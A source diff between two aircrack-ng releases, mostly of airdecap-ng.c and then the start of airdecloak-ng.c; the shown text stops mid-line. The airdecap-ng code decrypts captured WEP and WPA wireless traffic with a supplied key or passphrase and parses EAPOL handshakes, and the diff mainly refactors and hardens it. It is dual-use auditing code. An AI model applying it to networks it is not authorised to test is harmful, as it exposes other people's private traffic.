-            fflush( stdout );
-            tt = time( NULL );
-        }
-
-        /* read one packet */
-
-        n = sizeof( pkh );
-
-        if( fread( &pkh, 1, n, f_in ) != (size_t) n )
-            break;
-
-        if( magic == TCPDUMP_CIGAM ) {
-            SWAP32( pkh.caplen );
-            SWAP32( pkh.len );
-        }
-
-        n = pkh.caplen;
-
-        if( n <= 0 || n > 65535 )
-        {
-            printf( "Corrupted file? Invalid packet length %d.\n", n );
-            break;
-        }
-
-        if( fread( buffer, 1, n, f_in ) != (size_t) n )
-            break;
-
-        stats.nb_read++;
-
-        h80211 = buffer;
-
-        if( linktype == LINKTYPE_PRISM_HEADER )
-        {
-            /* remove the prism header */
-
-            if( h80211[7] == 0x40 )
-                n = 64; /* prism54 */
-            else
-            {
-                n = *(int *)( h80211 + 4 );
-
-                if( magic == TCPDUMP_CIGAM )
-                    SWAP32( n );
-            }
-
-            if( n < 8 || n >= (int) pkh.caplen )
-                continue;
-
-            h80211 += n; pkh.caplen -= n;
-        }
+				opt.weplen = i;
 
-        if( linktype == LINKTYPE_RADIOTAP_HDR )
-        {
-            /* remove the radiotap header */
+				break;
 
-            n = *(unsigned short *)( h80211 + 2 );
+			case 'H':
 
-            if( n <= 0 || n >= (int) pkh.caplen )
-                continue;
+				printf(usage,
+					   getVersion("Airdecap-ng",
+								  _MAJ,
+								  _MIN,
+								  _SUB_MIN,
+								  _REVISION,
+								  _BETA,
+								  _RC));
+				return (1);
 
-            h80211 += n; pkh.caplen -= n;
-        }
+			default:
+				goto usage;
+		}
+	}
 
-		if( linktype == LINKTYPE_PPI_HDR )
+	if (argc - optind != 1)
+	{
+		if (argc == 1)
 		{
-			/* Remove the PPI header */
+		usage:
+			printf(usage,
+				   getVersion("Airdecap-ng",
+							  _MAJ,
+							  _MIN,
+							  _SUB_MIN,
+							  _REVISION,
+							  _BETA,
+							  _RC));
+		}
+		if (argc - optind == 0)
+		{
+			printf("No file to decrypt specified.\n");
+		}
+		if (argc > 1)
+		{
+			printf("\"%s --help\" for help.\n", argv[0]);
+		}
+		return (1);
+	}
 
-			n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
+	if (opt.crypt == CRYPT_WPA)
+	{
+		if (opt.passphrase[0] != '\0')
+		{
+			/* compute the Pairwise Master Key */
 
-			if( n <= 0 || n>= (int) pkh.caplen )
-				continue;
+			if (opt.essid[0] == '\0')
+			{
+				printf("You must also specify the ESSID (-e).\n");
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+			}
 
-			/* for a while Kismet logged broken PPI headers */
-			if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
-				n = 32;
+			calc_pmk(opt.passphrase, opt.essid, opt.pmk);
+		}
+	}
+
+	/* open the input and output pcap files */
+
+	if ((f_in = fopen(argv[optind], "rb")) == NULL)
+	{
+		perror("fopen failed\n");
+		printf("Could not open \"%s\".\n", argv[optind]);
+		return (1);
+	}
+
+	n = sizeof(pfh);
+
+	if (fread(&pfh, 1, n, f_in) != (size_t) n)
+	{
+		perror("fread(pcap file header) failed");
+		return (1);
+	}
+
+	if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM)
+	{
+		printf("\"%s\" isn't a pcap file (expected "
+			   "TCPDUMP_MAGIC).\n",
+			   argv[optind]);
+		return (1);
+	}
+
+	if ((magic = pfh.magic) == TCPDUMP_CIGAM) SWAP32(pfh.linktype);
+
+	if (pfh.linktype != LINKTYPE_IEEE802_11
+		&& pfh.linktype != LINKTYPE_PRISM_HEADER
+		&& pfh.linktype != LINKTYPE_RADIOTAP_HDR
+		&& pfh.linktype != LINKTYPE_PPI_HDR)
+	{
+		printf("\"%s\" isn't a regular 802.11 "
+			   "(wireless) capture.\n",
+			   argv[optind]);
+		return (1);
+	}
+
+	linktype = pfh.linktype;
+
+	n = strlen(argv[optind]);
+
+	if (n > 4 && (n + 5 < (int) sizeof(buffer)) && argv[optind][n - 4] == '.')
+	{
+		memcpy(buffer, argv[optind], n - 4);
+		memcpy(buffer2, argv[optind], n - 4);
+		memcpy(buffer + n - 4, "-dec", 4);
+		memcpy(buffer2 + n - 4, "-bad", 4);
+		memcpy(buffer + n, argv[optind] + n - 4, 5);
+		memcpy(buffer2 + n, argv[optind] + n - 4, 5);
+	}
+	else
+	{
+		if (n > 5 && (n + 6 < (int) sizeof(buffer))
+			&& argv[optind][n - 5] == '.')
+		{
+			memcpy(buffer, argv[optind], n - 5);
+			memcpy(buffer2, argv[optind], n - 5);
+			memcpy(buffer + n - 5, "-dec", 4);
+			memcpy(buffer2 + n - 5, "-bad", 4);
+			memcpy(buffer + n - 1, argv[optind] + n - 5, 6);
+			memcpy(buffer2 + n - 1, argv[optind] + n - 5, 6);
+		}
+		else
+		{
+			memset(buffer, 0, sizeof(buffer));
+			memset(buffer2, 0, sizeof(buffer));
+			snprintf(
+				(char *) buffer, sizeof(buffer) - 1, "%s-dec", argv[optind]);
+			snprintf(
+				(char *) buffer2, sizeof(buffer) - 1, "%s-bad", argv[optind]);
+		}
+	}
+
+	if (opt.crypt == CRYPT_WEP && opt.no_convert == 1)
+	{
+		opt.store_bad = 1;
+	}
+
+	/* Support manually-configured output files*/
+	if (opt.decrypted_fpath[0])
+		f_out = fopen(opt.decrypted_fpath, "wb+");
+	else
+		f_out = fopen((char *) buffer, "wb+");
+
+	if (f_out == NULL)
+	{
+		perror("fopen failed");
+		printf("Could not create \"%s\".\n", buffer);
+		return (1);
+	}
+
+	if (opt.store_bad)
+	{
+		if (opt.corrupted_fpath[0])
+			f_bad = fopen(opt.corrupted_fpath, "wb+");
+		else
+			f_bad = fopen((char *) buffer2, "wb+");
+
+		if (f_bad == NULL)
+		{
+			perror("fopen failed");
+			printf("Could not create \"%s\".\n", buffer2);
+			return (1);
+		}
+	}
+
+	pfh.magic = TCPDUMP_MAGIC;
+	pfh.version_major = PCAP_VERSION_MAJOR;
+	pfh.version_minor = PCAP_VERSION_MINOR;
+	pfh.thiszone = 0;
+	pfh.sigfigs = 0;
+	pfh.snaplen = 65535;
+	pfh.linktype = (opt.no_convert) ? LINKTYPE_IEEE802_11 : LINKTYPE_ETHERNET;
+
+	n = sizeof(pfh);
+
+	if (fwrite(&pfh, 1, n, f_out) != (size_t) n)
+	{
+		perror("fwrite(pcap file header) failed");
+		return (1);
+	}
+
+	if (opt.store_bad)
+	{
+		if (fwrite(&pfh, 1, n, f_bad) != (size_t) n)
+		{
+			perror("fwrite(pcap file header) failed");
+			return (1);
+		}
+	}
 
-			if( n <= 0 || n>= (int) pkh.caplen )
-				continue;
+	/* loop reading and deciphering the packets */
+
+	memset(&stats, 0, sizeof(stats));
+	tt = time(NULL);
+
+	while (1)
+	{
+		if (time(NULL) - tt > 0)
+		{
+			/* update the status line every second */
 
-			h80211 += n; pkh.caplen -= n;
+			erase_line(0);
+			printf("Read %lu packets...\r", stats.nb_read);
+			fflush(stdout);
+			tt = time(NULL);
 		}
 
-        /* remove the FCS if present (madwifi) */
+		/* read one packet */
 
-        if( check_crc_buf( h80211, pkh.caplen - 4 ) == 1 )
-        {
-            pkh.len    -= 4;
-            pkh.caplen -= 4;
-        }
+		n = sizeof(pkh);
 
-        /* check if data */
+		if (fread(&pkh, 1, n, f_in) != (size_t) n) break;
 
-        if( ( h80211[0] & 0x0C ) != 0x08 )
-            continue;
+		if (magic == TCPDUMP_CIGAM)
+		{
+			SWAP32(pkh.caplen);
+			SWAP32(pkh.len);
+		}
 
-        /* check minimum size */
+		n = pkh.caplen;
 
-        z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
+		if (n <= 0 || n > 65535)
+		{
+			printf("Corrupted file? Invalid packet length %d.\n", n);
+			break;
+		}
 
-        if( z + 16 > pkh.caplen )
-            continue;
+		if (fread(buffer, 1, n, f_in) != (size_t) n) break;
 
-        /* check QoS header */
-        if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) {
-            z += 2;
-        }
+		stats.nb_read++;
 
-        /* check the BSSID */
+		h80211 = buffer;
 
-        switch( h80211[1] & 3 )
-        {
-            case  0: memcpy( bssid, h80211 + 16, 6 ); break;  //Adhoc
-            case  1: memcpy( bssid, h80211 +  4, 6 ); break;  //ToDS
-            case  2: memcpy( bssid, h80211 + 10, 6 ); break;  //FromDS
-            case  3: memcpy( bssid, h80211 + 10, 6 ); break;  //WDS -> Transmitter taken as BSSID
-        }
+		if (linktype == LINKTYPE_PRISM_HEADER)
+		{
+			/* remove the prism header */
 
-        if( memcmp( opt.bssid, ZERO, 6 ) != 0 )
-            if( memcmp( opt.bssid, bssid, 6 ) != 0 )
-                continue;
+			if (h80211[7] == 0x40)
+				n = 64; /* prism54 */
+			else
+			{
+				n = *(int *) (h80211 + 4);
 
-        /* locate the station's MAC address */
+				if (magic == TCPDUMP_CIGAM) SWAP32(n);
+			}
 
-        switch( h80211[1] & 3 )
-        {
-            case  1: memcpy( stmac, h80211 + 10, 6 ); break;
-            case  2: memcpy( stmac, h80211 +  4, 6 ); break;
-            case  3: memcpy( stmac, h80211 + 10, 6 ); break;
-            default: continue;
-        }
+			if (n < 8 || n >= (int) pkh.caplen) continue;
 
-        st_prv = NULL;
-        st_cur = st_1st;
+			h80211 += n;
+			pkh.caplen -= n;
+		}
 
-        while( st_cur != NULL )
-        {
-            if( ! memcmp( st_cur->stmac, stmac, 6 ) )
-                break;
+		if (linktype == LINKTYPE_RADIOTAP_HDR)
+		{
+			/* remove the radiotap header */
 
-            st_prv = st_cur;
-            st_cur = st_cur->next;
-        }
+			n = *(unsigned short *) (h80211 + 2);
 
-        /* if it's a new station, add it */
+			if (n <= 0 || n >= (int) pkh.caplen) continue;
 
-        if( st_cur == NULL )
-        {
-            if( ! ( st_cur = (struct WPA_ST_info *) malloc(
-                             sizeof( struct WPA_ST_info ) ) ) )
-            {
-                perror( "malloc failed" );
-                break;
-            }
+			h80211 += n;
+			pkh.caplen -= n;
+		}
 
-            memset( st_cur, 0, sizeof( struct WPA_ST_info ) );
+		if (linktype == LINKTYPE_PPI_HDR)
+		{
+			/* Remove the PPI header */
 
-            if( st_1st == NULL )
-                st_1st = st_cur;
-            else
-                st_prv->next = st_cur;
+			n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
 
-            memcpy( st_cur->stmac, stmac, 6 );
-            memcpy( st_cur->bssid, bssid, 6 );
-        }
+			if (n <= 0 || n >= (int) pkh.caplen) continue;
 
-        /* check if we haven't already processed this packet */
+			/* for a while Kismet logged broken PPI headers */
+			if (n == 24 && le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+				n = 32;
 
-        crc = calc_crc_buf( h80211 + z, pkh.caplen - z );
+			if (n <= 0 || n >= (int) pkh.caplen) continue;
 
-        if( ( h80211[1] & 3 ) == 2 )
-        {
-            if( st_cur->t_crc == crc )
-                continue;
+			h80211 += n;
+			pkh.caplen -= n;
+		}
 
-            st_cur->t_crc = crc;
-        }
-        else
-        {
-            if( st_cur->f_crc == crc )
-                continue;
+		/* remove the FCS if present (madwifi) */
 
-            st_cur->f_crc = crc;
-        }
+		if (check_crc_buf(h80211, pkh.caplen - 4) == 1)
+		{
+			pkh.len -= 4;
+			pkh.caplen -= 4;
+		}
 
-        /* check the SNAP header to see if data is encrypted *
-         * as unencrypted data begins with AA AA 03 00 00 00 */
+		/* check if data */
 
-        if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 )
-        {
-            /* check the extended IV flag */
+		if ((h80211[0] & 0x0C) != 0x08) continue;
 
-            if( ( h80211[z + 3] & 0x20 ) == 0 )
-            {
-                unsigned char K[64];
+		/* check minimum size */
 
-                stats.nb_wep++;
+		z = ((h80211[1] & 3) != 3) ? 24 : 30;
 
-                if( opt.crypt != CRYPT_WEP )
-                    continue;
+		if (z + 16 > pkh.caplen) continue;
 
-                memcpy( K, h80211 + z, 3 );
-                memcpy( K + 3, opt.wepkey, opt.weplen );
-
-                if(opt.store_bad)
-                    memcpy(buffer2, h80211, pkh.caplen);
+		/* check QoS header */
+		if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
+		{
+			z += 2;
+		}
 
-                if( decrypt_wep( h80211 + z + 4, pkh.caplen - z - 4,
-                                 K, 3 + opt.weplen ) == 0 )
-                {
-                    if(opt.store_bad)
-                    {
-                        stats.nb_bad++;
-                        memcpy(h80211, buffer2, pkh.caplen);
-                        if( write_packet( f_bad, &pkh, h80211 ) != 0 )
-                            break;
-                    }
-                    continue;
-                }
+		/* check the BSSID */
 
-                /* WEP data packet was successfully decrypted, *
-                 * remove the WEP IV & ICV and write the data  */
+		switch (h80211[1] & 3)
+		{
+			case 0:
+				memcpy(bssid, h80211 + 16, sizeof(bssid));
+				break; // Adhoc
+			case 1:
+				memcpy(bssid, h80211 + 4, sizeof(bssid));
+				break; // ToDS
+			case 2:
+				memcpy(bssid, h80211 + 10, sizeof(bssid));
+				break; // FromDS
+			case 3:
+				memcpy(bssid, h80211 + 10, sizeof(bssid));
+				break; // WDS -> Transmitter taken as BSSID
+		}
 
-                pkh.len    -= 8;
-                pkh.caplen -= 8;
+		if (memcmp(opt.bssid, ZERO, 6) != 0)
+			if (memcmp(opt.bssid, bssid, 6) != 0) continue;
 
-                memmove( h80211 + z, h80211 + z + 4, pkh.caplen - z );
+		/* locate the station's MAC address */
 
-                stats.nb_unwep++;
+		switch (h80211[1] & 3)
+		{
+			case 1:
+				memcpy(stmac, h80211 + 10, sizeof(stmac));
+				break;
+			case 2:
+				memcpy(stmac, h80211 + 4, sizeof(stmac));
+				break;
+			case 3:
+				memcpy(stmac, h80211 + 10, sizeof(stmac));
+				break;
+			default:
+				continue;
+		}
 
-                h80211[1] &= 0xBF;
+		int not_found = c_avl_get(stations, stmac, (void **) &st_cur);
 
-                if( write_packet( f_out, &pkh, h80211 ) != 0 )
-                    break;
-            }
-            else
-            {
-                stats.nb_wpa++;
+		/* if it's a new station, add it */
 
-                if( opt.crypt != CRYPT_WPA )
-                    continue;
+		if (not_found)
+		{
+			if (!(st_cur
+				  = (struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info))))
+			{
+				perror("malloc failed");
+				break;
+			}
+
+			memset(st_cur, 0, sizeof(struct WPA_ST_info));
+
+			memcpy(st_cur->stmac, stmac, sizeof(st_cur->stmac));
+			memcpy(st_cur->bssid, bssid, sizeof(st_cur->bssid));
+			c_avl_insert(stations, st_cur->stmac, st_cur);
+			stats.nb_stations++;
+		}
+
+		/* check if we haven't already processed this packet */
+
+		crc = calc_crc_buf(h80211 + z, pkh.caplen - z);
+
+		if ((h80211[1] & 3) == 2)
+		{
+			if (st_cur->t_crc == crc) continue;
+
+			st_cur->t_crc = crc;
+		}
+		else
+		{
+			if (st_cur->f_crc == crc) continue;
+
+			st_cur->f_crc = crc;
+		}
+
+		/* check the SNAP header to see if data is encrypted *
+		 * as unencrypted data begins with AA AA 03 00 00 00 */
+
+		if (h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03)
+		{
+			/* check the extended IV flag */
+
+			if ((h80211[z + 3] & 0x20) == 0)
+			{
+				unsigned char K[64];
 
-                /* if the PTK is valid, try to decrypt */
+				stats.nb_wep++;
 
-                if( st_cur == NULL || ! st_cur->valid_ptk )
-                    continue;
+				if (opt.crypt != CRYPT_WEP) continue;
 
-                if( st_cur->keyver == 1 )
-                {
-                    if( decrypt_tkip( h80211, pkh.caplen,
-                                      st_cur->ptk + 32 ) == 0 )
-                        continue;
+				memcpy(K, h80211 + z, 3);
+				memcpy(K + 3, opt.wepkey, opt.weplen);
 
-                    pkh.len    -= 20;
-                    pkh.caplen -= 20;
-                }
-                else
-                {
-                    if( decrypt_ccmp( h80211, pkh.caplen,
-                                      st_cur->ptk + 32 ) == 0 )
-                        continue;
+				if (opt.store_bad) memcpy(buffer2, h80211, pkh.caplen);
+
+				if (decrypt_wep(
+						h80211 + z + 4, pkh.caplen - z - 4, K, 3 + opt.weplen)
+					== 0)
+				{
+					if (opt.store_bad)
+					{
+						stats.nb_bad++;
+						memcpy(h80211, buffer2, pkh.caplen);
+						if (write_packet(f_bad, &pkh, h80211) != 0) break;
+					}
+					continue;
+				}
 
-                    pkh.len    -= 16;
-                    pkh.caplen -= 16;
-                }
+				/* WEP data packet was successfully decrypted, *
+				 * remove the WEP IV & ICV and write the data  */
 
-                /* WPA data packet was successfully decrypted, *
-                 * remove the WPA Ext.IV & MIC, write the data */
+				pkh.len -= 8;
+				pkh.caplen -= 8;
 
-                /* can overlap */
-                memmove( h80211 + z, h80211 + z + 8, pkh.caplen - z );
+				memmove(h80211 + z, h80211 + z + 4, pkh.caplen - z);
 
-                stats.nb_unwpa++;
+				stats.nb_unwep++;
 
-                h80211[1] &= 0xBF;
+				h80211[1] &= 0xBF;
 
-                if( write_packet( f_out, &pkh, h80211 ) != 0 )
-                    break;
-            }
-        }
-        else
-        {
-            /* check ethertype == EAPOL */
+				if (write_packet(f_out, &pkh, h80211) != 0) break;
+			}
+			else
+			{
+				stats.nb_wpa++;
 
-            z += 6;
+				if (opt.crypt != CRYPT_WPA) continue;
 
-            if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E )
-            {
-                stats.nb_plain++;
+				/* if the PTK is valid, try to decrypt */
 
-                if( opt.crypt != CRYPT_NONE )
-                    continue;
+				if (st_cur == NULL || !st_cur->valid_ptk) continue;
 
-                if( write_packet( f_out, &pkh, h80211 ) != 0 )
-                    break;
+				if (st_cur->keyver == 1)
+				{
+					if (decrypt_tkip(h80211, pkh.caplen, st_cur->ptk + 32) == 0)
+					{
+						stats.nb_failed_tkip++;
+						continue;
+					}
+
+					pkh.len -= 20;
+					pkh.caplen -= 20;
+				}
+				else if (st_cur->keyver == 2)
+				{
+					if (decrypt_ccmp(h80211, pkh.caplen, st_cur->ptk + 32) == 0)
+					{
+						stats.nb_failed_ccmp++;
+						continue;
+					}
+
+					pkh.len -= 16;
+					pkh.caplen -= 16;
+				}
+				else
+				{
+					fprintf(stderr, "unsupported keyver: %d\n", st_cur->keyver);
+					continue;
+				}
+
+				/* WPA data packet was successfully decrypted, *
+				 * remove the WPA Ext.IV & MIC, write the data */
+
+				if (pkh.caplen > z)
+				{
+					/* can overlap */
+					memmove(h80211 + z, h80211 + z + 8, pkh.caplen - z);
+				}
 				else
+				{
+					/* overflow */
 					continue;
-            }
+				}
+
+				stats.nb_unwpa++;
+
+				h80211[1] &= 0xBF;
+
+				if (write_packet(f_out, &pkh, h80211) != 0) break;
+			}
+		}
+		else
+		{
+			/* check ethertype == EAPOL */
 
-            z += 2;
+			z += 6;
 
-            /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
+			if (h80211[z] != 0x88 || h80211[z + 1] != 0x8E)
+			{
+				stats.nb_plain++;
 
-            if( h80211[z + 1] != 0x03 ||
-                ( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) )
-                continue;
+				if (opt.crypt != CRYPT_NONE) continue;
 
-            /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
+				if (write_packet(f_out, &pkh, h80211) != 0)
+					break;
+				else
+					continue;
+			}
 
-            if( ( h80211[z + 6] & 0x08 ) != 0 &&
-                ( h80211[z + 6] & 0x40 ) == 0 &&
-                ( h80211[z + 6] & 0x80 ) != 0 &&
-                ( h80211[z + 5] & 0x01 ) == 0 )
-            {
-                /* set authenticator nonce */
+			z += 2;
 
-                memcpy( st_cur->anonce, &h80211[z + 17], 32 );
-            }
+			/* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
+
+			if (h80211[z + 1] != 0x03
+				|| (h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02))
+				continue;
 
-            /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
+			/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
 
-            if( ( h80211[z + 6] & 0x08 ) != 0 &&
-                ( h80211[z + 6] & 0x40 ) == 0 &&
-                ( h80211[z + 6] & 0x80 ) == 0 &&
-                ( h80211[z + 5] & 0x01 ) != 0 )
-            {
-                if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
-                {
-                    /* set supplicant nonce */
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+				&& (h80211[z + 6] & 0x80) != 0
+				&& (h80211[z + 5] & 0x01) == 0)
+			{
+				/* set authenticator nonce */
 
-                    memcpy( st_cur->snonce, &h80211[z + 17], 32 );
-                }
+				memcpy(st_cur->anonce, &h80211[z + 17], 32);
+			}
 
-                /* copy the MIC & eapol frame */
+			/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
+
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+				&& (h80211[z + 6] & 0x80) == 0
+				&& (h80211[z + 5] & 0x01) != 0)
+			{
+				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
+				{
+					/* set supplicant nonce */
+
+					memcpy(st_cur->snonce, &h80211[z + 17], 32);
+				}
 
-                st_cur->eapol_size = ( h80211[z + 2] << 8 )
-                                   +   h80211[z + 3] + 4;
+				/* copy the MIC & eapol frame */
 
-                if (pkh.len - z < st_cur->eapol_size  || st_cur->eapol_size == 0 ||
-                    st_cur->eapol_size > sizeof(st_cur->eapol))
-                {
-                        // Ignore the packet trying to crash us.
-                        st_cur->eapol_size = 0;
-                        continue;
-                }
+				st_cur->eapol_size = (h80211[z + 2] << 8) + h80211[z + 3] + 4;
 
-                memcpy( st_cur->keymic, &h80211[z + 81], 16 );
-                memcpy( st_cur->eapol, &h80211[z], st_cur->eapol_size );
-                memset( st_cur->eapol + 81, 0, 16 );
+				if (pkh.len - z < st_cur->eapol_size || st_cur->eapol_size == 0
+					|| st_cur->eapol_size > sizeof(st_cur->eapol))
+				{
+					// Ignore the packet trying to crash us.
+					st_cur->eapol_size = 0;
+					continue;
+				}
 
-                /* copy the key descriptor version */
+				memcpy(st_cur->keymic, &h80211[z + 81], 16);
+				memcpy(st_cur->eapol, &h80211[z], st_cur->eapol_size);
+				memset(st_cur->eapol + 81, 0, 16);
 
-                st_cur->keyver = h80211[z + 6] & 7;
-            }
+				/* copy the key descriptor version */
 
-            /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
+				st_cur->keyver = h80211[z + 6] & 7;
+			}
 
-            if( ( h80211[z + 6] & 0x08 ) != 0 &&
-                ( h80211[z + 6] & 0x40 ) != 0 &&
-                ( h80211[z + 6] & 0x80 ) != 0 &&
-                ( h80211[z + 5] & 0x01 ) != 0 )
-            {
-                if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
-                {
-                    /* set authenticator nonce */
+			/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
 
-                    memcpy( st_cur->anonce, &h80211[z + 17], 32 );
-                }
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
+				&& (h80211[z + 6] & 0x80) != 0
+				&& (h80211[z + 5] & 0x01) != 0)
+			{
+				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
+				{
+					/* set authenticator nonce */
 
-                /* copy the MIC & eapol frame */
+					memcpy(st_cur->anonce, &h80211[z + 17], 32);
+				}
 
-                st_cur->eapol_size = ( h80211[z + 2] << 8 )
-                                   +   h80211[z + 3] + 4;
+				/* copy the MIC & eapol frame */
 
-                if (pkh.len - z < st_cur->eapol_size  || st_cur->eapol_size == 0 ||
-                    st_cur->eapol_size > sizeof(st_cur->eapol))
-                {
-                    // Ignore the packet trying to crash us.
-                    st_cur->eapol_size = 0;
-                    continue;
-                 }
+				st_cur->eapol_size = (h80211[z + 2] << 8) + h80211[z + 3] + 4;
 
-                memcpy( st_cur->keymic, &h80211[z + 81], 16 );
-                memcpy( st_cur->eapol, &h80211[z], st_cur->eapol_size );
-                memset( st_cur->eapol + 81, 0, 16 );
+				if (pkh.len - z < st_cur->eapol_size || st_cur->eapol_size == 0
+					|| st_cur->eapol_size > sizeof(st_cur->eapol))
+				{
+					// Ignore the packet trying to crash us.
+					st_cur->eapol_size = 0;
+					continue;
+				}
 
-                /* copy the key descriptor version */
+				memcpy(st_cur->keymic, &h80211[z + 81], sizeof(st_cur->keymic));
+				memcpy(st_cur->eapol, &h80211[z], st_cur->eapol_size);
+				memset(
+					st_cur->eapol + 81,
+					0,
+					16); // where does this size come from? eapol is char[256]
 
-                st_cur->keyver = h80211[z + 6] & 7;
-            }
+				/* copy the key descriptor version */
 
-            st_cur->valid_ptk = calc_ptk( st_cur, opt.pmk );
-        }
-    }
+				st_cur->keyver = h80211[z + 6] & 7;
+			}
 
-    while (st_1st != NULL)
-    {
-        st_cur = st_1st->next;
-        free(st_1st);
-        st_1st = st_cur;
-    }
-
-    fclose( f_in  );
-    fclose( f_out );
-    if(opt.store_bad)
-        fclose( f_bad );
-
-    /* write some statistics */
-
-    printf( "\33[KTotal number of packets read      % 8ld\n"
-                 "Total number of WEP data packets  % 8ld\n"
-                 "Total number of WPA data packets  % 8ld\n"
-                 "Number of plaintext data packets  % 8ld\n"
-                 "Number of decrypted WEP  packets  % 8ld\n"
-                 "Number of corrupted WEP  packets  % 8ld\n"
-                 "Number of decrypted WPA  packets  % 8ld\n",
-            stats.nb_read, stats.nb_wep, stats.nb_wpa,
-            stats.nb_plain, stats.nb_unwep, stats.nb_bad, stats.nb_unwpa );
-
-    return( 0 );
+			st_cur->valid_ptk = calc_ptk(st_cur, opt.pmk);
+		}
+	}
+
+	/* cleanup avl tree */
+	void *key, *value;
+	while (c_avl_pick(stations, &key, &value) == 0)
+	{
+		free(value);
+	}
+	c_avl_destroy(stations);
+
+	fclose(f_in);
+	fclose(f_out);
+	if (opt.store_bad) fclose(f_bad);
+
+	/* write some statistics */
+
+	erase_line(2);
+	printf("Total number of stations seen     %8lu\n"
+		   "Total number of packets read      %8lu\n"
+		   "Total number of WEP data packets  %8lu\n"
+		   "Total number of WPA data packets  %8lu\n"
+		   "Number of plaintext data packets  %8lu\n"
+		   "Number of decrypted WEP  packets  %8lu\n"
+		   "Number of corrupted WEP  packets  %8lu\n"
+		   "Number of decrypted WPA  packets  %8lu\n"
+		   "Number of bad TKIP (WPA) packets  %8lu\n"
+		   "Number of bad CCMP (WPA) packets  %8lu\n",
+		   stats.nb_stations,
+		   stats.nb_read,
+		   stats.nb_wep,
+		   stats.nb_wpa,
+		   stats.nb_plain,
+		   stats.nb_unwep,
+		   stats.nb_bad,
+		   stats.nb_unwpa,
+		   stats.nb_failed_tkip,
+		   stats.nb_failed_ccmp);
+
+	return (0);
 }

aircrack-ng-1.2-rc4.tar.gz/src/airdecloak-ng.c -> aircrack-ng-1.4.tar.gz/src/airdecloak-ng.c Changed

@@ -1,7 +1,7 @@
 /*
  *  WEP Cloaking filtering
  *
- *  Copyright (C) 2008-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2008-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *
  *  Thanks to Alex Hernandez aka alt3kx for the hardware.
  *
@@ -17,7 +17,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -41,7 +41,8 @@
 #include <getopt.h>
 #include "airdecloak-ng.h"
 #include "version.h"
-#include "osdep/radiotap/radiotap_iter.h"
+#include "aircrack-osdep/radiotap/radiotap_iter.h"
+#include "aircrack-util/console.h"
 
 unsigned char buffer[65536];
 
@@ -62,7 +63,6 @@
 
 unsigned char _bssid[6];
 
-
 int _options_drop_fragments = 0;
 int _options_disable_retry = 0;
 int _options_disable_base_filter = 0;
@@ -70,9 +70,9 @@
 
 struct decloak_stats stats;
 
-int getBits(unsigned char b, int from, int nb_bits)
+static int getBits(unsigned char b, int from, int nb_bits)
 {
-	unsigned int value = (unsigned int)b;
+	unsigned int value = (unsigned int) b;
 	unsigned int and_1st = 0;
 	int i;
 	if (from < 0 || from > 7 || nb_bits <= 0 || (from + nb_bits) > 8)
@@ -80,7 +80,8 @@
 		return -1;
 	}
 
-	for (i = from; i < from + nb_bits; i++) {
+	for (i = from; i < from + nb_bits; i++)
+	{
 		and_1st += 1 << i;
 	}
 
@@ -91,35 +92,36 @@
 	return value;
 }
 
-
-FILE * openfile(const char * filename, const char * mode, int fatal)
+static FILE * openfile(const char * filename, const char * mode, int fatal)
 {
 	FILE * f;
 
-	if( ( f = fopen( filename, mode ) ) == NULL )
+	if ((f = fopen(filename, mode)) == NULL)
 	{
-	    perror( "fopen failed\n" );
-	    printf( "Could not open \"%s\" in \"%s\" mode.\n", filename, mode );
+		perror("fopen failed\n");
+		printf("Could not open \"%s\" in \"%s\" mode.\n", filename, mode);
 
-	    if (fatal) {
+		if (fatal)
+		{
 			exit(1);
 		}
-    }
+	}
 
-    return f;
+	return f;
 }
 
-
 // Return 1 on success, 0 on failure
-BOOLEAN write_packet(FILE * file, struct packet_elt * packet)
+static BOOLEAN write_packet(FILE * file, struct packet_elt * packet)
 {
-	// TODO: Do not forget to swap what has to be swapped if needed (caplen, ...)
+	// TODO: Do not forget to swap what has to be swapped if needed (caplen,
+	// ...)
 	int result;
 	unsigned int caplen = packet->header.caplen;
 
 	// Write packet header
-	if( _pfh_in.magic == TCPDUMP_CIGAM )
-		SWAP32( packet->header.caplen ); // Make sure it is re-swapped CORRECTLY -> OK
+	if (_pfh_in.magic == TCPDUMP_CIGAM)
+		SWAP32(packet->header
